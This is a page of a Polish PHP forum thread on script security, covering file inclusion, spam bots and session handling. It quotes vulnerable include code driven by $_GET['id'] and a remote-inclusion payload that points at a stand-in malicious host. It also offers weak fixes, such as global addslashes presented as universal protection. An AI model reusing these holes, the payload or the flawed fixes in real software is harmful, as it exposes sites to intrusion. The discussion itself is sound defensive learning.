Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

16 Stron V  « < 4 5 6 7 8 > »   
Reply to this topicStart new topic
> Bezpieczeństwo skryptów PHP, Jak zabezpieczyć się przed włamaniem
potreb
post 27.09.2007, 13:11:06
Post #101





Grupa: Zarejestrowani
Postów: 1 568
Pomógł: 192
Dołączył: 7.03.2005
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Poruszacie tutaj temat łączenia stron, a jak sie ma bezpieczeństwo co do wykonywania jakich zapytań lub wysyłania formularzy. Albo ochrona przed spam botami.

Jak pewnego razu boty zaatakowały moją stronę to, nie mogłem się od nich odpędzić. Tak więc dodałem tokena, ale i to nie pomogło w końcu pomyślałem że dodają skrypty przez jakiegoś exploita napisanego specjalnie dla mojej strony. No i w shoutboxie i katalogu stron zastosowałem funkcje eregi. Jeżeli w tekscie wystepuje słowo "url", lub "http" to wtedy odrzuca formularz. Myślę że to jest dobre rozwiązanie, bo wiele spambotów działa podobnie, zapełniają pola text podobnymi tekstami.


--------------------

Go to the top of the page
+Quote Post
bełdzio
post 27.09.2007, 19:32:22
Post #102





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


co do plików => http://www.beldzio.com/bezpieczenstwo-dost...do-plikow.freez
co do spamu => http://www.beldzio.com/walka-ze-spambotami.freez


--------------------
Go to the top of the page
+Quote Post
consto
post 18.10.2007, 20:27:50
Post #103





Grupa: Zarejestrowani
Postów: 1
Pomógł: 0
Dołączył: 17.07.2007

Ostrzeżenie: (0%)
-----


Witam wszystkich ...

Temat bezpiecznego podpinania pików jest dość ciekawy i chyba rozwiązań jest tyle ile programistów.

Ja stosuję takie rozwiązanie i chyba całkiem dobre, które jednocześnie spełnia rolę maskowania adresu (dobre jeśli jakiś serwer nie obsługuje mod-rewrite).

adresy wyglądają tak:

http://domena.pl/index.php?podstronka,1,jakieś_dane,kolejne,...

oczywiście zamiast "," można dać dowolny inny znak




Kod

<?php



1.     $katalog=array(1=>"nazwa_katalogu_jeden", "następna_nazwa_katalogu", ........);
2.   if(eregi("^[a-zA-Z0-9,]+$",$_SERVER["QUERY_STRING"])) {            
3.     $adres = explode(',',$_SERVER["QUERY_STRING"]);          
4.       $plik_name         = $adres[0];                                          
5.       $katalog_name   =  $adres[1];                                        
6.       $adres_name     = $katalog_name.'/'.$plik_name.'.php';
7.  if ($plik_name<>''){                                                                  
8.  if (file_exists( $adres_name)){                                                
9.       require(" $adres_name'");}                                                
10.   else {require("strona_error.php");}                                            
11. }
12. else {require("strona_error.php");}
13. }
14. else {require("strona_głowna.php");}                                      

?>



Na początek sprawdzam czy w url-u (po znaku"?") nie ma "zakazanych" znaków ... url może zawierać tylko małe i duże litery alfabetu bez polskich znaków, liczby 0-9 oraz "," ... pozostałe znaki są uznawane jako próba "włamania" smile.gif
Kolejny etap to tworzenie z " ?podstronka,1, jakieś_dane ,kolejne,... " tablicy o nazwie $adres.
Przypisanie zmiennym $plik_name = $adres[0]; (nazwa pliku do podpięcia), $katalog_name = $adres[1]; (id katalogu z tablicy $katalog) i $adres_name (czyli gotowy adres do pliku). Teraz sprawdzam, czy zmienna z nazwą pliku zawiera jakieś dane(można to zrobić wcześniej ... rzecz gustu). W końcu sprawdzam, czy plik o takiej nazwie istnieje w danym katalogu. Jeśli tak to podpinam plik, a jeśli nie to podpinam podstronę z komunikatem błędu (z możliwością dopisania IP i nazwy przeglądarki usera do bazy i po np. 5 próbach wpisania błędnego adresu zablokowanie IP na określony czas)

Kolejne numery, czyli: $adres[2], $adres[3], ... , $adres[X], to poprostu zmienne, które już są przefiltrowane i można bezpiecznie użyć ich w skryptach bez stosowania metody $_GET['zmienna'].

Można jeszcze dodać sprawdzanie domeny, czy przypadkiem podstrona nie jest wywoływana z pod innego adresu niż adres naszego serwera.

Jeśli ktoś ma pomysły na ulepszenie mojej wersji to bardzo proszę ... może wspólnie uda się stworzyć coś naprawdę dobrego smile.gif


Ten post edytował consto 18.10.2007, 22:15:04
Go to the top of the page
+Quote Post
marcio
post 27.10.2007, 23:59:19
Post #104





Grupa: Zarejestrowani
Postów: 2 291
Pomógł: 156
Dołączył: 23.09.2007
Skąd: ITALY-MILAN

Ostrzeżenie: (10%)
X----


czytalem juz ten temat kilka razy i teraz przeczytalem na nowo na php nie znam sie dobze bo robie duzo bledow ale duzo ludzi pisze ze taki kod jest bezpieczny
  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(file_exists($file)) {
  4. include $file;
  5. } else {
  6. echo 'Błąd 404';
  7. }
  8. ?>

lecz wedlug mnie nie jest on bezpieczny poniewaz
1)nie sprawdzamy czy sa to cufry w przypadku id artu czy user'a lub czy sa tylko litery
2)jesli na servie magic_quotes = off to jest null byte poinson i w zaleznosci co sie uzylo czy include czy fopen
3)tu jest LFI. RFI nie ma bo sprawdzamy czy dany plik isnieje na serverze lecz juz cos takiego
  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(file_exists($file)) {
  4. include basename($file);
  5. } else {
  6. echo 'Błąd 404';
  7. }
  8. ?>

jest bezpieczne jesli plik ktory includujemy jest przynajmniej 2 katalogi wyzej dobrze mowie czy nie??Ja i tak jestem zwolennikiem uzuwania switch'a lub if'ow :D


--------------------
Zainteresowania: XML | PHP | MY(SQL)| C# for .NET | PYTHON
http://code.google.com/p/form-builider/
Moj blog
Go to the top of the page
+Quote Post
gladiror
post 18.12.2007, 22:18:10
Post #105





Grupa: Zarejestrowani
Postów: 398
Pomógł: 0
Dołączył: 13.07.2005
Skąd: Lublin

Ostrzeżenie: (0%)
-----


  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(file_exists($file)) {
  4. include $file;
  5. } else {
  6. echo 'Błąd 404';
  7. }
  8. ?>


Pewnie, że to jest niebezpieczne. Wystarczy za zmienna id wstawić:
  1. <?php
  2. $_GET['id'] = 'http://niebezpiecznastrona.pl/niebezpieczny_skrypt';
  3. ?>


i już masz ciekawą sytuację winksmiley.jpg


--------------------
"Państwo to ja" Ludwik XIV
"Wróg zaatakuje to co kochasz" Ojciec Chrzestny
"Wszystko powinno być proste jak to tylko możliwe, ale nie prostsze..." A. Einstein
"Wyobraźnia jest ważniejsza niż wiedza" Albert Einstein
"Nieprawda powtarzana wielokrotnie staje się prawdą"
Go to the top of the page
+Quote Post
bełdzio
post 18.12.2007, 23:20:17
Post #106





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


@marcio check this http://www.beldzio.com/bezpieczenstwo-dost...do-plikow.freez


--------------------
Go to the top of the page
+Quote Post
Brick
post 26.02.2008, 12:18:17
Post #107





Grupa: Zarejestrowani
Postów: 107
Pomógł: 9
Dołączył: 16.02.2004
Skąd: Kraków

Ostrzeżenie: (0%)
-----


Chciałbym zwrócić uwagę na jedną rzecz związaną z zapisywaniem identyfikatora i praw dostępu użytkownika do sesji.
Często robi się tak, że po zalogowaniu użytkownika, dane takie jak jego ID oraz jego uprawnienia są zapisywane do sesji. Widziałem wiele razy takie rozwiązania.
Przykładowo:
Zalogowany user: "Kazek", ID=50, ma uprawnienia "administrator serwisu"

Wszystko jest dobrze, tylko gdy np. szef firmy dowie się że Kazek właśnie siedzi w domu przy komputerze i chce ukraść wszystkie dane to nic nie może z tym zrobić. Gdy zmieni mu uprawnienia, zablokuje lub usunie konto, to dopóki Kazek jest zalogowany może robić co chce.

Rozwiązanie jest oczywiście proste, tj zanim skrypty php cokolwiek zrobią, jakiś skrypt sprawdzający pobiera z bazy danych informacje o zalogowanym użytkowniku. Sprawdza czy taki user istnieje, czy nie ma zablokowanego konta oraz jaki ma poziom. W wypadku gdy coś się nie zgadza, blokuje dostęp do wszystkiego i kasuje sesje.

W tym wypadku jedyne co trzeba zapisać do sesji to ID usera bo reszta jest i tak pobierana z bazy.

Poprawcie mnie jeżeli się mylę.


--------------------
Wszystko należy robić najprościej jak się da, ale nie prościej
Albert Einstein
Go to the top of the page
+Quote Post
Kocurro
post 26.02.2008, 12:22:11
Post #108





Grupa: Zarejestrowani
Postów: 461
Pomógł: 32
Dołączył: 17.09.2003
Skąd: Łódź

Ostrzeżenie: (0%)
-----


Na tym polega odpowiednie zaprogramowanie autentykacji (uwierzytelniania) i autoryzacji.

Chociaż wiele osób o tym zapomina smile.gif

Do tego dobrze jest zawsze sesje mieć przechowywane w bazie danych - dzięki temu zawsze można wymusić akcję na zalogowanej osobie winksmiley.jpg

pozdr.
Go to the top of the page
+Quote Post
mike
post 26.02.2008, 12:33:51
Post #109





Grupa: Przyjaciele php.pl
Postów: 7 494
Pomógł: 302
Dołączył: 31.03.2004

Ostrzeżenie: (0%)
-----


Wrzucenie uprawnień do sesji ma na celu dwie rzeczy:
1. Możliwość wyświetlania opcji zależnych od uprawnień wymaga informacji o wszystkich uprawnieniach użytkownika;
2. Pobieranie drzewa uprawnień podczas każdego żądania byłoby bez sensu.

Jeśli chodzi natomiast o reakcję na zmianę uprawnień dla użytkownika, którego sesja właśnie trwa to nie ma żadnego problemu.
Kwestią jest to że przed każdą operację powinno sprawdzać się szczegółową funkcję, która właśnie jest używana.

Przykładowo: Jeśli komuś wyświetlił się przycisk usuń to nie znaczy, że coś się usunie po kliknięciu weń.
Go to the top of the page
+Quote Post
Kocurro
post 26.02.2008, 13:09:40
Post #110





Grupa: Zarejestrowani
Postów: 461
Pomógł: 32
Dołączył: 17.09.2003
Skąd: Łódź

Ostrzeżenie: (0%)
-----


Rozwijając moją poprzednią wypowiedź:

Sesje trzymam w bazie, oprócz standardowych kolumn: SID, Dane, Czas ... mam kolumny: Uzytkownik_ID, Odswiez ...

Gdy użytkownik traci dostęp zmieniam Uzytkownik_ID na wartosc 0 ... a gdy tylko zmieniam uprawnienia to Odswiez przyjmuje wartosc true ... i przy następnym przejściu odświeżam wszystkie dane typu tego gdzie Odśwież jest na true winksmiley.jpg

Jak do tej pory nie miałem problemów z tym, że kogoś wyciąłem a on dalej grzebał mi smile.gif

pozdr.
Go to the top of the page
+Quote Post
Sedziwoj
post 8.03.2008, 15:36:36
Post #111





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Cytat(mike @ 26.02.2008, 12:33:51 ) *
2. Pobieranie drzewa uprawnień podczas każdego żądania byłoby bez sensu.


Dlatego przy każdym otworzeniu strony można by było sprawdzić datę ostatniej modyfikacji i porównać z sesją. Czas działania skryptu jest na tyle mały, że nie ma sensu przy wywoływaniu każdej czynności sprawdzać.
Oczywiście można też zrzucić na bazę logowanie, a wtedy przy zmianie danych automatycznie by się odnowiły dane o poziomie dostępu, tylko byśmy pobierali te już raz "sklejone" dane.

Mimo wszystko duża część stron nie wymaga takiego zabezpieczenia, bo jak z praw dostępu korzysta jedna osoba, to nie ma sensu sprawdzanie ich po zalogowaniu, nikt ich nie odbierze.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
Jarod
post 8.03.2008, 19:57:03
Post #112





Grupa: Zarejestrowani
Postów: 1 190
Pomógł: 27
Dołączył: 23.04.2005

Ostrzeżenie: (0%)
-----


Ja uprawnienia pobieram tylko podczas logowania, natomiast przed każdym wywołaniem akcji, kontroler (wykorzystuje do tego napisaną klasę ACL) sprawdza czy użytkownik może daną akcję wywołać. Automatycznie też sprawdzane jest, czy maksymalny czas nieaktywności nie został przekroczony (za to odpowiada handler sesji) - jeśli tak, user zostaje przekierowany na stronę logowania.


Pozdrawiam


--------------------
”Godzina nauki w życiu nowoczesnego apostoła jest godziną modlitwy.”
(św. Josemaría Escrivá, Droga, 335)
Go to the top of the page
+Quote Post
MajareQ
post 20.03.2008, 11:31:19
Post #113





Grupa: Zarejestrowani
Postów: 382
Pomógł: 22
Dołączył: 21.05.2007
Skąd: Elbląg

Ostrzeżenie: (0%)
-----


Może wrócę do bezpieczeństwa bezpośredniego...
Oto kod zebezpieczający przed wieloma atakami...
nalezy go umieścić przed wszystkimi innymi skryptami...

  1. <?php
  2. {
  3. function gpc_value($value)
  4. {
  5. if (is_array($value))
  6. {
  7. $value = array_map('gpc_value', $value);
  8. }
  9. else
  10. {
  11. $value = addslashes($value);
  12. }
  13. return $value;
  14. }
  15.  
  16. if (!empty($_GET))
  17. {
  18. $_GET = gpc_value($_GET);
  19. }
  20.  
  21. if (!empty($_POST))
  22. {
  23. $_POST = gpc_value($_POST);
  24. }
  25.  
  26. if (!empty($_COOKIE))
  27. {
  28. $_COOKIE = gpc_value($_COOKIE);
  29. }
  30. }
  31. ?>
Go to the top of the page
+Quote Post
bełdzio
post 20.03.2008, 13:49:52
Post #114





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


Cytat(MajareQ @ 20.03.2008, 11:31:19 ) *
Oto kod zebezpieczający przed wieloma atakami...

np jakimi?


--------------------
Go to the top of the page
+Quote Post
MajareQ
post 20.03.2008, 13:55:00
Post #115





Grupa: Zarejestrowani
Postów: 382
Pomógł: 22
Dołączył: 21.05.2007
Skąd: Elbląg

Ostrzeżenie: (0%)
-----


Wszystkimi dotyczącymi formularzy, ciastek, SQL icjection etc.

a ten zabezpiecza przed Session Fixation i Session Hijacking

Kod
if (!isset($_SESSION['inicjuj']))
        {
                session_regenerate_id();
                $_SESSION['inicjuj'] = true;
                $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
        }
        
        
        if($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR'])
        {
                die('Proba przejecia sesji udaremniona!');      
        }
Go to the top of the page
+Quote Post
sobstel
post 20.03.2008, 14:33:59
Post #116





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


@MajareQ, poczytaj trochę więcej o bezpieczeństwie, a potem dopiero nas uraczaj cudownymi uniwersalnymi skryptami zabezpieczającymi, ok?questionmark.gif

co do drugiego skryptu, wyobraź sobie sytuacje, w której jesteśmy w tej samej sieci lokalnej (na zewnątrz mamy to samo IP), rozpoczyam sesję i daję ci linka. zapobiegłeś session fixation? (nie mówiąc o tym, że ograniczyłeś dostęp ludziom, których ip może się zmieniać w czasie połączenia).


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
kszychu
post 20.03.2008, 16:29:23
Post #117





Grupa: Przyjaciele php.pl
Postów: 2 712
Pomógł: 23
Dołączył: 27.10.2003
Skąd: z kontowni

Ostrzeżenie: (0%)
-----


Cytat(Jarod @ 20.03.2008, 16:16:24 ) *
W tym temacie wszystko zostało już powiedziane.

W kwestiach bezpieczeństwa taka sytuacja nie istnieje. Co jakiś czas pojawiają się nowe ataki i nowe metody zapobiegania im.
Cytat(Jarod @ 20.03.2008, 16:16:24 ) *
Mam propozycje dla moderatora aby usunął te kilka ostatnich postów aby nie robił się burdel w tym topicu.
pzdr

Mam propozycję dla osób z zacięciem moderatorskim; powstrzymajcie się od takich postów. Zamiast tego używajcie odpowiedniego przycisku, w celu zgłoszenia moderatorom jakiegoś nadużycia.
Adwersarzy proszę o jedynie wypowiedzi merytoryczne, bez osobistych "przytyczek".


--------------------
"Coś się kończy, coś się zaczyna." Andrzej Sapkowski
Go to the top of the page
+Quote Post
Jarod
post 20.03.2008, 17:22:07
Post #118





Grupa: Zarejestrowani
Postów: 1 190
Pomógł: 27
Dołączył: 23.04.2005

Ostrzeżenie: (0%)
-----


Cytat(kszychu @ 20.03.2008, 16:29:23 ) *
W kwestiach bezpieczeństwa taka sytuacja nie istnieje. Co jakiś czas pojawiają się nowe ataki i nowe metody zapobiegania im.

Zgadza się, ale kolega nie napisał nic co ni byłoby już poruszane na tym forum. Poza tym odbieram jego posta jako próbę wymuszenia oceny jego "rozwiązania", a w tym celu mógł napisać nowego posta z prośbą o ocenę a nie klepać w przyklejonym temacie. Teaty przyklejone powinny zawierać konkretne informacje a nie dyskusje ciągnące się na x-stron (chyba że są to ciekawe i przydatne informacje).

Cytat(kszychu @ 20.03.2008, 16:29:23 ) *
Mam propozycję dla osób z zacięciem moderatorskim; powstrzymajcie się od takich postów. Zamiast tego używajcie odpowiedniego przycisku, w celu zgłoszenia moderatorom jakiegoś nadużycia.

Oprócz tego użyłem przycisku "Raportuj", prosiłem o usunięcie kliku ostatnich postów - w tym także mojego.

pzdr


--------------------
”Godzina nauki w życiu nowoczesnego apostoła jest godziną modlitwy.”
(św. Josemaría Escrivá, Droga, 335)
Go to the top of the page
+Quote Post
cool_solar
post 21.03.2008, 19:55:05
Post #119





Grupa: Zarejestrowani
Postów: 7
Pomógł: 1
Dołączył: 29.06.2007

Ostrzeżenie: (0%)
-----


Cytat(Wave @ 21.05.2005, 11:06:00 ) *
strip_tags();
htmlspecialchars();


zaobserwowałem, że zastosowanie funkcji striptags powoduje nieprawidłowe działanie dla plików zawierających na przykład jakieś matematyczne wyliczenia i znaki mniejszości i większkości, wywalane są nie tylko znaczniki HTML ale również tekst; nie wiem tylko czy jest to błąd konkretnej wersji php czy też ogólnie złe działanie funkcji
Go to the top of the page
+Quote Post
Sedziwoj
post 21.03.2008, 20:37:51
Post #120





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


@cool_solar
Raczej brak zrozumienia działania funkcji. Pomyśl poczytaj, a znajdziesz odpowiedź.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post

16 Stron V  « < 4 5 6 7 8 > » 
Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 28.04.2024 - 08:05